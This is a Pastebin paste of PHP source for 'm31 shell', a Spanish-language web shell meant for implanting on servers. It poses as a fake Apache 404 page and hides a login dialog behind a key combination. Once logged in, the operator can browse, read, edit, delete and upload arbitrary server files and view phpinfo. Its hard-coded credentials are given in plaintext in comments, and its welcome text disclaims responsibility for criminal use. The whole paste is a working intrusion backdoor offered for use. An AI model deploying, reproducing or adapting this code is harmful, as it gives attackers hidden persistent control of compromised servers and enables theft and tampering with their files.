Advertisement
Guest User

Untitled

a guest
Jul 11th, 2013
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.28 KB | None | 0 0
  1. <?php
  2. header('Content-Type: text/html; charset=UTF-8'); //Charset (UTF-8 por defecto)
  3. DEFINE("user","bac6264c63a590e2f727842235697417"); // Usuario: md5(sha1("Aex12"));
  4. DEFINE("pass","fd811cd60a2f8f99b00719117a9bb13c"); // Contraseña: md5(sha1("holoscripter"));
  5. //Opciones de "personalizacion"
  6. $background = "http://fc08.deviantart.net/fs70/i/2011/015/e/3/clarity_by_foolish_fox-d379pzg.jpg"; //fondo de la shell
  7. $body_style = "margin-top:19px; background-repeat:no-repeat; background-attachment:fixed;"; //css de body
  8. $logotipo = "abajo"; // Posibles: arriba, abajo, desactivado.
  9. //Opciones de las sesiones PHP:
  10. $lifetime = "0"; //Tiempo en segundos que durará la sesion. 0 = hasta cerrar navegador.
  11. $maxlifetime = "7200"; //tiempo en segundos que tardará la sesion en caducar en caso de inactividad.
  12. //Opciones del chat:
  13. $wmode = "direct"; //posibles: transparent, opaque, window, direct. (Busca en google)
  14. $quality = "high"; //posibles: high, low, medium
  15. $language = "es"; //posibles: es, en.
  16. $height = "466"; //Alto en pixeles
  17. $width = "790"; //Ancho en pixeles
  18. $bgcolor = "#000000"; //color de fondo en html
  19. $xats = array(
  20. 'Holoscripter' => '153256001',
  21. 'Chat2' => '21312',
  22. 'Chat3' => '123'
  23. );
  24. //Opciones POPUP editar:
  25. $popup_ancho = "650"; //ancho en pixeles del popup editar
  26. $popup_alto = "500"; //alto en pixeles  del popup editar
  27. //combinaciones:
  28. $comb_login = "ctrl+k"; //combinacion de teclas para abrir login
  29. $comb_save = "ctrl+s"; //combinacion de teclas para guardar un archivo mientras se edita.
  30. //iconos para archivos:
  31. $icono_borrar = "http://cdn1.iconfinder.com/data/icons/aspneticons_v1.0_Nov2006/trash_%28delete%29_16x16.gif";
  32. $icono_editar = "http://cdn1.iconfinder.com/data/icons/silk2/page_white_edit.png";
  33. $icono_carpeta = "http://cdn1.iconfinder.com/data/icons/fugue/icon_shadowless/folder_horizontal_open.png";
  34. $icono_desconocido = "http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/file.png";
  35. $iconos = array(
  36. 'pdf' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-pdf.png',
  37. 'xls' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-xls.png',
  38. 'php' => 'http://static.php.net/www.php.net/favicon.ico',
  39. 'html' => 'http://cdn1.iconfinder.com/data/icons/ledicons/html.png',
  40. 'txt' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/2.png',
  41. 'png' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  42. 'jpg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  43. 'jpeg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  44. 'gif' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  45. 'js' => 'http://cdn1.iconfinder.com/data/icons/silk2/cup_edit.png',
  46. );
  47.  
  48.  
  49. session_set_cookie_params($lifetime);
  50. ini_set("session.gc_maxlifetime", $maxlifetime);
  51. session_start();
  52. if(!isset($_GET['page'])){
  53. if(!isset($_SESSION['page'])){
  54. $page = "welcome";
  55. $_SESSION['page'] = "welcome";
  56. } else {
  57. $page = $_SESSION['page'];
  58. }
  59. } else {
  60. $page = $_GET['page'];
  61. $_SESSION['page'] = $_GET['page'];
  62. }
  63.  
  64. if(isset($_GET['reload'])){
  65. $page = $_SESSION['page'];
  66. }
  67.  
  68. if($page == "disconnect"){
  69. session_destroy();
  70. header('Location: '.$_SERVER['PHP_SELF']);
  71. }
  72. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  73. $_SESSION['user'] = md5(sha1($_POST['user']));
  74. $_SESSION['pass'] = md5(sha1($_POST['pass']));
  75. }
  76.  
  77.  
  78. if(isset($_GET['dir'])){$_SESSION['dir'] = $_GET['dir'];}
  79. if(!isset($_SESSION['dir'])){ $_SESSION['dir'] = getcwd();}
  80. $dir = $_SESSION['dir'];
  81.  
  82. function extension($ext){
  83. if(strpos($ext,".")){
  84. return end(explode(".", $ext));
  85. } else {
  86. return ".";
  87. }
  88. }
  89.  
  90. function tamano($peso , $decimales = 2 ) {
  91. $clase = array(" Bytes", " KB", " MB", " GB", " TB");
  92. if($peso != 0){
  93. return round($peso/pow(1024,($i = floor(log($peso, 1024)))),$decimales ).$clase[$i];
  94. } else {
  95. return "0 Bytes";
  96. }
  97. }
  98.  
  99. function table($nombre, $carpeta=0, $id=0){
  100. global $dir; global $iconos; global $icono_desconocido; global $icono_carpeta; global $icono_borrar; global $icono_editar;
  101. if($carpeta==0){
  102. $extension = extension($nombre);
  103. if(!isset($iconos[$extension])){
  104. $icono = $icono_desconocido;
  105. } else {
  106. $icono = $iconos[$extension];
  107. }
  108. $return =
  109. '<tr id="a_'.$id.'">
  110. <td><img src="'.$icono.'"></td>
  111. <td id="an_'.$id.'">'.$nombre.'</td>
  112. <td>'.tamano(@filesize($nombre)).'</td>
  113. <td><a onClick="edit(\''.$dir.'/'.$nombre.'\');"><img src="'.$icono_editar.'" title="EDITAR '.$nombre.'"></a>&nbsp;<a onClick="delfile(\''.$dir.'/'.$nombre.'\', \'a_'.$id.'\')"><img src="'.$icono_borrar.'" title="ELIMINAR '.$nombre.'"></a></td>
  114. </tr>';
  115. return $return;
  116. } elseif(($nombre == "..") && ($carpeta==1)){
  117. $carpetas = split("/",$dir);
  118. array_pop($carpetas);
  119. $dir2 = join("/",$carpetas);
  120. if($dir2==""){$dir2="/";}
  121. $return =
  122. '<tr>
  123. <td><img src="'.$icono_carpeta.'"></td>
  124. <td><a href="#" onClick="listardir(\''.$dir2.'\')">[Atrás] '.$nombre.'</a></td>
  125. <td></td>
  126. <td></td>
  127. </tr>';
  128. return $return;
  129. } elseif(($nombre == ".") && ($carpeta==1)){
  130. $return =
  131. '<tr>
  132. <td><img src="'.$icono_carpeta.'"></td>
  133. <td><a href="#" onClick="listardir(\''.$dir.'\')">[Recargar] '.$nombre.'</a></td>
  134. <td></td>
  135. <td></td>
  136. </tr>';
  137. return $return;
  138. } elseif($carpeta==1){
  139. if($dir=="/"){$dir="";}
  140. $return =
  141. '<tr>
  142. <td><img src="'.$icono_carpeta.'"></td>
  143. <td><a href="#" onClick="listardir(\''.$dir.'/'.$nombre.'\')">'.$nombre.'</a></td>
  144. <td></td>
  145. <td>Borrar</td>
  146. </tr>';
  147. return $return;
  148. }
  149. }
  150.  
  151. if(isset($_SESSION['user'])){
  152. if(($_SESSION['user'] == user) && ($_SESSION['pass'] == pass)){
  153. $online = 1;
  154. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  155. exit(header("Location: ".$_SERVER['PHP_SELF']."?page=welcome"));
  156. }
  157. }
  158. }
  159.  
  160. if(isset($online)){
  161.  
  162. if(isset($_GET['edit'])){
  163. if(isset($_POST['content'])){
  164. if($fp = @fopen($_GET['edit'],"w")){
  165. fwrite($fp, $_POST['content']);
  166. fclose($fp);
  167. exit('exito');
  168. } else {
  169. exit("error:perm");
  170. }
  171. }
  172. }
  173.  
  174. if(isset($_GET['edit'])){
  175. $html = stripslashes(htmlspecialchars(file_get_contents($_GET['edit'])));
  176. ?>
  177. <script language="javascript" type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
  178. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  179. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  180. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  181. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  182. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  183. <script language="javascript" type="text/javascript">
  184. editAreaLoader.init({
  185.     id : "a1"
  186.     ,syntax: "php"
  187.     ,language: "es"
  188.     ,save_callback: "check"
  189.     ,display: "later"
  190.     ,toolbar: "save,|,search, go_to_line, fullscreen, |, undo, redo, |, syntax_selection, |, select_font,|, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help"
  191.     ,start_highlight: true
  192. });
  193.  
  194. function save(content){
  195. $.post("?edit=<?php echo $_GET['edit']; ?>", { content: content })
  196. .done(function(data) {
  197.   if(data == "exito"){
  198.   alertify.success("Editado correctamente!", 2500);
  199.   }
  200.  
  201.   if(data == "error:perm"){
  202.   alertify.error("No tienes permisos para editar este archivo");
  203.   }
  204. });
  205. }
  206.  
  207. function check(id, content){
  208. if(id){
  209. save(content);
  210. } else {
  211. save($('#a1').val());
  212. }
  213. }
  214.  
  215. $(document).bind('keydown', '<?php echo $comb_save; ?>', function (evt) {
  216.        check();
  217.        return false;
  218.     });
  219.    
  220. </script>
  221. <textarea id="a1" style="width:100%; height:97%; margin-top:0px; margin-left:0px;">
  222. <?php echo $html; ?>
  223. </textarea>
  224. ATENCION: Si tu PC es poco potente no es recomendado activar esta opcion en archivos grandes.
  225. <button onClick="check();">Guardar</button>
  226. <?php
  227. exit();
  228. }
  229.  
  230. if(isset($_GET['upload'])){
  231. if (array_key_exists('HTTP_X_FILE_NAME', $_SERVER) && array_key_exists('CONTENT_LENGTH', $_SERVER)) {
  232.     $fileName = $_SERVER['HTTP_X_FILE_NAME'];
  233.     $contentLength = $_SERVER['CONTENT_LENGTH'];
  234. } else throw new Exception("Error recibiendo cabeceras");
  235.  
  236. if (!$contentLength > 0) {
  237.     throw new Exception('No se ha subido ningun archivo!');
  238. }
  239.  
  240. if($_GET['newname'] == ""){ $_GET['newname'] = $fileName;}
  241. file_put_contents($dir.'/'.$_GET['newname'], file_get_contents("php://input"));
  242. exit();
  243. }
  244.  
  245. if(isset($_GET['obtenerdir'])){
  246. $_SESSION['dir'] = $_GET['obtenerdir'];
  247. $dir = $_SESSION['dir'];
  248. @chdir($dir);
  249. ?>
  250. <script>alertify.log("Carpeta: <?php echo $dir; ?>", "", 2500);</script>
  251. <table class="table table-striped table-condensed" id="table_files" style="width:100%;">
  252.  <thead>
  253.                 <tr style="width:100%;">
  254.                   <th style="width:10%;">i</th>
  255.                   <th style="width:40%;">Nombre</th>
  256.                   <th style="width:30%;">Peso</th>
  257.                   <th style="width:20%;"><div class="btn-group">
  258.   <a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
  259.     Acciones
  260.     <span class="caret"></span>
  261.   </a>
  262.   <ul class="dropdown-menu">
  263.     <li><a tabindex="-1" href="#" id="opener" onclick="$('#dialog').dialog('open');">Subir archivos</a></li>
  264.   </ul>
  265. </div></th>
  266.                 </tr>
  267.               </thead>
  268.               <tbody>
  269. <?php
  270. $folders = array();
  271. $archivos1 = array();
  272. if(!@opendir($dir)){
  273. echo table('..', 1);
  274. ?>
  275. </table>
  276. <hr>
  277. <b>No tienes permisos para visualizar esta carpeta, vuelva atrás.</b>
  278. <?php
  279. exit; }
  280. $directorio=opendir($dir);
  281.  
  282. while ($archivo = readdir($directorio)) {
  283.  if($archivo == '.'){
  284.  echo table(".", 1);
  285.   } elseif($archivo == '..'){
  286.     if($dir != '.'){
  287.       echo table($archivo, 1);
  288.     }
  289.   }
  290.   elseif(is_dir("$dir/$archivo")){
  291.     $folders[] = $archivo;
  292.   } else {
  293.  $archivos1[] = $archivo;
  294. }
  295.  
  296. }
  297. closedir($directorio);
  298. $i=0;
  299. @array_multisort(@array_map('strtolower', $folders), $folders);
  300. while ($i < count ($folders) ) {
  301.     echo table($folders[$i], 1);
  302.     $i++;
  303. }
  304.  
  305. $i=0;
  306. @array_multisort(@array_map('strtolower', $archivos1), $archivos1);
  307. while ($i < count ($archivos1) ) {
  308.     echo table($archivos1[$i], 0, $i);
  309.     $i++;
  310. }
  311. ?>
  312. </tbody>
  313. </table>
  314. <?php
  315. exit();
  316. }
  317.  
  318. if(isset($_GET['delete'])){
  319. if(unlink($_GET['delete'])){
  320. exit("1");
  321. } else {
  322. exit("0");
  323. }
  324. }
  325.  
  326. if(isset($_GET['ajaxpage'])){
  327.  if($page == "welcome"){ ?>
  328.     <script>alertify.log("Bienvenido!", "", 3000);;</script>
  329.       <div class="hero-unit">
  330.   <h1>Bienvenido a m31</h1>
  331.   <p>Esta es la unica shell hasta el momento que usa jQuery, jQueryUI, Ajax y Bootstrap. Espero que le agrade, ya que ha sido diseñada para ser sencilla de usar, sin tener que renunciar a opciones mas avanzadas. Si no conoce bien el funcionamiento de esta shell, simplemente haga click en el boton "Manual" para ir al hilo oficial de esta shell y recibir mas información acerca de ella. Cordialmente, Aex12.</p>
  332.   <p>No me hago responsable de ningun daño causado con esta shell, todo acto dañino/delictivo será responsabilidad del usuario final.</p>
  333.   <p>
  334.     <a class="btn btn-primary btn-large" href="http://holoscripter.org/foro/index.php?topic=301.0">
  335.       Manual
  336.     </a>
  337.   </p>
  338. </div>
  339. <?php
  340. exit();
  341. }
  342.  
  343. if($page == "phpinfo"){
  344. echo '<script>alertify.log("PHPInfo", "", 3000);;</script>';
  345. //echo "<div class='well well-small'>";
  346. echo phpinfo();
  347. exit();
  348. //echo "</div>";
  349. }
  350.  
  351. if($page == "about"){
  352. ?>
  353. <script>alertify.log("Acerca de", "", 3000);;</script>
  354.  <div class="hero-unit">
  355.   <h1>m31 shell v0.1.0a</h1><p>
  356.   <br>Shell realizada por Aex12 para la comunidad de Holoscripter.
  357.   <br>El logotipo y favicon han sido diseñados por Exit
  358.   <br>El fondo por defecto está sacado de uno de los wallpapers de Lubuntu 13.04
  359.   <br><br>Se han usado las siguientes librerías:
  360.   <br><a href="http://twitter.github.io/bootstrap/">Bootstrap</a> (CSS), <a href="http://jquery.com/">jQuery</a> (JS), <a href="http://jqueryui.com/">jQuery UI</a> (CSS y JS), <a href="http://fabien-d.github.io/alertify.js/">Alertify</a> (CSS y JS), <a href="http://www.cdolivet.com/editarea/">EditArea</a> (JS), <a href="http://code.google.com/p/js-hotkeys/">HotKeys</a> (JS)
  361.   </p>
  362. </div>
  363. <?php
  364. exit();
  365. }
  366.  
  367. if($page == "xat"){
  368. ?>
  369. <script src="http://localhost/bootstrap/docs/assets/js/bootstrap-tab.js"></script>
  370. <script>
  371. function chateando(xat){
  372. alertify.log("Chateando en: "+xat, "", 3000)
  373. }
  374. </script>
  375. <div class="well well-small">
  376. <div class="tabbable">
  377.   <ul class="nav nav-tabs">
  378.   <?php
  379.   $i = 1;
  380.   foreach ($xats as $clave => $valor) {
  381.    if($i == 1){
  382.     echo '<li class="active"><a href="#tab1" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  383.     $i++;
  384.     } else {
  385.     echo '<li><a href="#tab'.$i.'" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  386.     $i++;
  387.     }
  388.     } ?>
  389.   </ul>
  390.   <div class="tab-content">
  391.     <?php
  392.   $i = 1;
  393.   foreach ($xats as $clave => $valor) {
  394.   if($i == 1){
  395.   echo '<script>chateando("'.$clave.'");</script>';
  396.     echo '<div class="tab-pane active" id="tab1">';
  397. echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  398.     ?>
  399.     <div class="alert alert-info">
  400.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  401.     </div>
  402.     <?php
  403.     echo '</div>';
  404.     $i++;
  405.     } else {
  406.         echo '<div class="tab-pane" id="tab'.$i.'">';
  407.     echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  408.     ?>
  409.     <div class="alert alert-info">
  410.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  411.     </div>
  412.     <?php
  413.     echo '</div>';
  414.     $i++;
  415.     }
  416.     } ?>
  417.   </div>
  418.   </div>
  419. </div>
  420. <?php
  421. exit();
  422. }
  423.  
  424. if($page == "files"){ ?>
  425. <script>
  426.  
  427.   $(document).ready(function () {
  428.   listardir("<?php echo $dir; ?>");
  429. });
  430.  
  431. function listardir(dir){
  432. $.get('?obtenerdir='+dir, function(data) {
  433. $("#listado").html(data);
  434. });
  435. }
  436. function delfile(del, id){
  437. $.get('?delete='+del, function(data) {
  438. if(data == 1){
  439. var myarray = del.split('/');
  440. alertify.success("Se ha eliminado "+myarray[myarray.length-1], 1000);
  441. $("#"+id).fadeOut(250, function(){ $(this).remove();});
  442. } else {
  443. alertify.error("No se pudo eliminar el archivo", 1000);
  444. }
  445. });
  446. }
  447.  
  448. function edit(file){
  449. window.open('?edit='+file,'','width=<?php echo $popup_ancho; ?>,height=<?php echo $popup_alto; ?>');
  450. }
  451.  
  452.   $(function() {
  453.     $("#dialog").dialog({
  454.       autoOpen: false,
  455.       show: {
  456.         effect: "slide",
  457.         duration: 600
  458.       },
  459.       hide: {
  460.         effect: "fold",
  461.         duration: 400
  462.       }
  463.     });
  464.   });
  465.     function nombre(fic) {
  466.   fic = fic.split('\\');
  467.   return fic[fic.length-1];
  468. }
  469.  
  470.   function uploadFile(file){
  471.     if(file){
  472. alertify.prompt("Elija el nuevo nombre del archivo a subir.", function (e, str) {
  473.     // str is the input text
  474.     if (e) {
  475.             xhr = new XMLHttpRequest();
  476.  
  477.             xhr.upload.addEventListener('load',function(e){
  478.                 alertify.success("El archivo se subio correctamente");
  479.             }, false);
  480.  
  481.             xhr.upload.addEventListener('error',function(e){
  482.                 alertify.error("Hubo algún problema al subir el archivo");
  483.             }, false);
  484.  
  485.             xhr.open('POST','?upload&newname='+str);
  486.  
  487.             xhr.setRequestHeader("Cache-Control", "no-cache");
  488.             xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  489.             xhr.setRequestHeader("X-File-Name", file.name);
  490.  
  491.             xhr.send(file);
  492.     } else {
  493.         return;
  494.     }
  495. }, nombre($("#archivo").val()));
  496.  
  497.     }
  498. }
  499.  
  500.  
  501. function forceupload(){
  502.     var upload_input = document.querySelectorAll('#archivo')[0];
  503.     uploadFile( upload_input.files[0] );
  504. }
  505.   </script>
  506. <div id="dialog" title="Basic dialog">
  507.   <input type="file" id="archivo"/><br>
  508.   <button onclick="forceupload();">Subir archivo</button>
  509. </div>
  510.  
  511. <div class="well well-small">
  512. <div id="listado">
  513.  
  514.  
  515.  
  516. </div>
  517. </div>
  518. <?php
  519. exit();
  520. }
  521. }
  522. }
  523.  
  524. ?>
  525. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  526. <html><head>
  527. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  528. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  529. <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
  530. <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
  531. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-dropdown.js"></script>
  532. </head>
  533. <?php if(!isset($online)){?>
  534. <body>
  535. <script>
  536. $(document).bind('keydown', '<?php echo $comb_login; ?>', function (evt) {
  537.        $( "#dialog" ).dialog( "open" );
  538.        return false;
  539.     });
  540.  
  541.   $(function() {
  542.     $("#dialog").dialog({
  543.       autoOpen: false,
  544.       show: {
  545.         effect: "blind",
  546.         duration: 600
  547.       },
  548.       hide: {
  549.         effect: "explode",
  550.         duration: 400
  551.       }
  552.     });
  553.   });
  554. </script>
  555. <title>404 Not Found</title>
  556. <h1>Not Found</h1>
  557. <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
  558. <hr>
  559. <?php echo $_SERVER['SERVER_SIGNATURE'];  ?>
  560.  
  561. <div id="dialog" title="Acceso al shell">
  562.  <form name="formu1" method=POST action="">Usuario: <input type="text" name="user"><br>
  563.  Contraseña: <input type="password" name="pass"><br>
  564. <input type="submit" value="Acceder"></form>
  565. </div>
  566. </body></html>
  567. <?php } else { ?>
  568. <link rel="icon" type="image/png" href="http://i.imgur.com/vQEXqX0.png">
  569. <title>m31 Shell By Aex12</title>
  570. <link rel="stylesheet" href="http://bootswatch.com/default/bootstrap.min.css"/>
  571. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  572. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  573. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  574. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-collapse.js"></script>
  575. <body style="<?php echo $body_style; ?>" background="<?php echo $background; ?>">
  576. <div class="container-fluid">
  577.   <div class="row-fluid">
  578.     <div class="span2">
  579. <script>
  580. var antiquepage;
  581. function page(page){
  582. $.get('?page='+page+"&ajaxpage=true", function(data) {
  583. $("#contenido_pagina").html(data);
  584. $("#nav_"+page).addClass("active");
  585. $("#nav_"+antiquepage).removeClass("active");
  586. antiquepage = page;
  587. });
  588. }
  589.  
  590. function reload(){
  591. $.get('?reload=true&ajaxpage=true', function(data) {
  592. $("#contenido_pagina").html(data);
  593. });
  594. }
  595.  
  596. page('<?php echo $_SESSION["page"]; ?>');
  597.  
  598. $(document).bind('keydown', 'f5', function (evt) {
  599.        reload();
  600.        return false;
  601.     });
  602. </script>
  603. <div style="position: fixed">
  604. <?php if($logotipo=="arriba"){
  605. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  606. } ?>
  607.     <div class="well well-small" ><ul class="nav nav-list">
  608.   <li class="nav-header">Básico</li>
  609.   <li id="nav_files" class="<?php if($_SESSION['page'] =='files'){echo 'active';}?>"><a href="?page=files" onclick="page('files'); return false;">Archivos</a></li>
  610.   <li class="nav-header">Avanzado</li>
  611.   <li id="nav_phpinfo" class="<?php if($_SESSION['page'] =='phpinfo'){echo 'active';}?>"><a href="?page=phpinfo" onclick="page('phpinfo'); return false;">phpinfo()</a></li>
  612.   <li class="nav-header">Otros</li>
  613.   <li id="nav_welcome" class="<?php if($_SESSION['page'] =='welcome'){echo 'active';}?>"><a href="?page=welcome" onclick="page('welcome'); return false;">Bienvenido</a></li>
  614.   <li id="nav_xat" class="<?php if($_SESSION['page'] =='xat'){echo 'active';}?>"><a href="?page=xat" onclick="page('xat'); return false;">Chat</a></li>
  615.   <li id="nav_about" class="<?php if($_SESSION['page'] =='about'){echo 'active';}?>"><a href="?page=about" onclick="page('about'); return false;">Acerca de</a></li>
  616.   <li><a href="?page=disconnect">Desconectar</a></li>
  617. </ul></div>
  618. <?php if($logotipo=="abajo"){
  619. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  620. } ?>
  621.     </div>
  622.     </div>
  623.     <div class="span10" id="contenido_pagina">
  624.    
  625.     </div>
  626.   </div>
  627. </div>
  628. </body>
  629. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement